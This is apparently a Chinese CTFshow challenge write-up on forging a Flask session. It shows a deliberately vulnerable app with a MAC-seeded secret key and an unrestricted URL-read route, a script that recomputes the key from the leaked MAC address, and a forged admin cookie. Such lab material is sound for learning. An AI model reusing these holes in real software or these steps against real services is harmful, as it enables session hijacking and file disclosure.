CTFshow | Flask_Session伪造 | secret_key计算 | flask_session_cookie_manage3.py |


源码:
```plaintext
# encoding: utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request
# 初始化 Flask 应用
app = Flask(__name__)
# 初始化随机种子并设置 SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])
# 关闭调试模式(生产环境推荐)
app.debug = False
@app.route('/')
def index():
"""首页路由:初始化 session 为 guest 用户"""
session['username'] = 'guest'
return 'CTFshow 网页爬虫系统 读取网页'
@app.route('/read')
def read():
"""读取指定 URL 内容的路由:禁止访问包含 flag 的链接"""
try:
# 获取 URL 参数
url = request.args.get('url')
# 检查 URL 中是否包含 flag(不区分大小写),如果有则禁止访问
if re.findall('flag', url, re.IGNORECASE):
return '禁止访问'
# 读取 URL 内容并返回
res = urllib.request.urlopen(url)
return res.read().decode('utf-8', errors='ignore')
except Exception as ex:
# 捕获异常并打印,返回提示信息
print(str(ex))
return '无读取内容可以展示'
@app.route('/flag')
def flag():
"""flag 路由:仅 admin 用户可访问"""
if session.get('username') == 'admin':
return open('/flag.txt', encoding='utf-8').read()
else:
return '访问受限'
if __name__ == '__main__':
# 启动 Flask 应用,监听所有网卡
app.run(debug=False, host="0.0.0.0")
访问路径/flag,且session的username字段未admin即可得到flag
访问/read?url=中存在flag时,即会报错"禁止访问"

MAC码地址:/sys/class/net/eth0/address - 十六进制

计算 SECRET_KEY 脚本
import random
mac = int("02:42:ac:0c:65:85".replace(":",""),16) # 已知的 MAC 地址
random.seed(mac)
key = str(random.random()*100)
print(key) # 得到79.97069568948858

用flask_session_cookie_manage3.py脚本进行session构造
(需要用到secret_key)


eyJ1c2VybmFtZSI6ImFkbWluIn0.aXSlOA.ZkFq0oiHeXwy08f7qFlc_DTOwcY
将该session抓包更换即可获得flag


浙公网安备 33010602011771号